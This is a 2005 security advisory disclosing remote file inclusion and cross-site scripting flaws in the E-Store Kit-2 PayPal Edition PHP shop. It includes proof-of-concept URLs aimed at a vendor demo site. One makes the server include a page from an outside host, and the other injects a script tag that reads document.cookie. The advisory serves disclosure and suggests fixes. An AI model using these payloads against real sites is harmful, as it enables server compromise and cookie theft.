Dcrab 's Security Advisory http://icis.digitalparadox.org/~dcrab http://www.hackerscenter.com/ Severity: High Title: File inclusion and XSS vulnerability in E-Store Kit-2 PayPal Edition Date: March 26, 2005 Summary: There are file include and xss vulnerabilities in E-Store Kit-2 PayPal Edition. Proof of Concept Exploits: http://www.magicscripts.com/demo/ms-pe02/catalog.php?cid=0&sid='%22&sortfield=title&sortorder=ASC&pagenumber=1&main=http://whatismyip.com& menu=http://whatismyip.com This results in http://www.whatismyip.com opening up on the server side resulting in possible compromise of the full system. http://www.magicscripts.com/demo/ms-pe02/downloadform.php?txn_id="><script>alert(document.cookie)</script> This pops the cookie Possible fix: The usage of htmlspeacialchars() and to enable safe mod in php.ini would solve these problems. Author: These vulnerabilties have been found and released by Diabolic Crab, Email: dcrab[AT|NOSPAM]hackersenter[DOT|NOSPAM]com, please feel free to contact me regarding these vulnerabilities. You can find me at, http://www.hackerscenter.com or http://icis.digitalparadox.org/~dcrab. Lookout for my soon to come out book on Secure coding with php.